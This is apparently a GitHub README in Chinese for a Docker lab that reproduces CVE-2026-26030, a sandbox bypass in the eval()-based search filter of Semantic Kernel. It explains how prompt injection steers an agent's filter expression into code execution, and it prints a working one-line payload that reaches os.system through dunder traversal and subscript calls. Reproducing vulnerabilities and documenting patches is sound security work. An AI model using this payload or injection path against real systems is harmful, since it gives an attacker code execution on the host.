InertFluid/sk-cve-2026-26030-lab

GitHub: InertFluid/sk-cve-2026-26030-lab

一个网络隔离的 Docker 实验环境,用于复现 Semantic Kernel 内存向量存储过滤器中 eval() 沙箱绕过导致的远程代码执行漏洞(CVE-2026-26030)并对比修复版本。

Stars: 0 | Forks: 0

# CVE-2026-26030 — Semantic Kernel 过滤器 `eval()` RCE(实验环境) 一个独立且网络隔离的 Docker 实验环境,用于复现 **CVE-2026-26030**: 通过 Microsoft Semantic Kernel(Python,`< 1.39.4`)的内存向量存储搜索 过滤器引发的、可被 prompt 注入的远程代码执行(RCE)。 ## 运行 ``` ./run.sh # builds 1.39.3 (vulnerable) and 1.39.4 (patched), runs both ``` 存在漏洞的输出以 `RCE CONFIRMED` 结尾;已修复的版本会拒绝相同的 payload,并提示 `'__subclasses__' ... is not allowed`。 ## 漏洞详情 一个 Agent 暴露了一个由 `InMemoryCollection` 支持的搜索工具。LLM 从对话中生成一个 **过滤表达式字符串**(`lambda x: x.city == 'Paris'`)。 该字符串会受到攻击者的影响——通过用户 prompt,或通过检索到的/工具内容中注入的 文本——并进入 `_parse_and_validate_filter`, 该函数对其进行 `compile()` 和 `eval()` 操作(`connectors/in_memory.py:383`): ``` code = compile(tree, filename="", mode="eval") func = eval(code, {"__builtins__": {}}, {}) # nosec ``` `__builtins__` 被清空,并且首先应用了 AST 白名单——因此这是一个 **沙箱绕过**,而不是缺少防护。两个漏洞使其可被绕过: 1. **`ast.Attribute` 的访问不受限制**——没有 dunder 黑名单,因此 允许使用 `().__class__.__base__.__subclasses__` 进行 dunder 遍历。 2. **`ast.Call` 的名称检查仅当 `func` 为 `Name` 或 `Attribute` 时才会执行。** 当 `func` 是一个 `Subscript`(这*属于*白名单范围)时, `func_name` 保持为 `None`,从而完全跳过了允许调用的函数检查。 因此,将任何可调用对象包装为 `[obj.method][0](args)` 即可调用任何内容。链式调用如下: ``` object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd) ``` ## Payload ``` lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0]('os').system][0]('touch /tmp/pwned_by_filter') ``` 每次调用的 `func` 都是一个 `Subscript`;每一个遍历步骤都是纯粹的属性 访问。索引(`107`)是 `BuiltinImporter` 在此镜像的 `object.__subclasses__()` 列表中的位置——`exploit.py` 会在运行时自动计算它。 ## 修复方案 (1.39.4) 该补丁在白名单的基础上增加了一个**危险属性黑名单**,因此 dunder 遍历会在 `eval` 之前被拒绝: ``` Access to attribute '__subclasses__' is not allowed in filter expressions. This attribute could be used to escape the filter sandbox. ``` ## 文件 | 文件 | 用途 | |------|---------| | `Dockerfile` | 指定 `semantic-kernel` 版本(`--build-arg SK_VERSION=`),使用非 root 用户 | | `exploit.py` | 端到端演示:真实 collection + 搜索过滤器 -> RCE | | `find_sink.py` | 在已安装的包中定位 `eval`/`compile` 的接收端 | | `probe.py` | 仅通过最小化验证器确认绕过 | | `run.sh` | 并排构建 + 运行易受攻击的和已修复的版本 | ## 博客切入点 关于 Agent 安全性论点最清晰的表述:“数据”与“指令”之间 没有边界。模型根据用户的酒店搜索生成的过滤器最终变成了 `os.system`。沙箱确实存在——包含白名单和被清空的 `__builtins__`——但依然被属性遍历 + 下标调用的组合绕过了。在博客中值得强调的缓解措施层级:根本不要对模型 输出进行 `eval`;如果必须这样做,请基于*封闭*的语法进行限制,而不是基于具有开放属性访问权限的节点白名单;并且隔离执行 worker(seccomp / 无网络访问 / 无特权),这样即便发生代码执行也不会导致全盘皆输。
标签:AI安全, Chat Copilot, Docker实验环境, Python, 安全漏洞复现, 无后门, 沙箱逃逸, 编程工具, 请求拦截, 远程代码执行, 逆向工具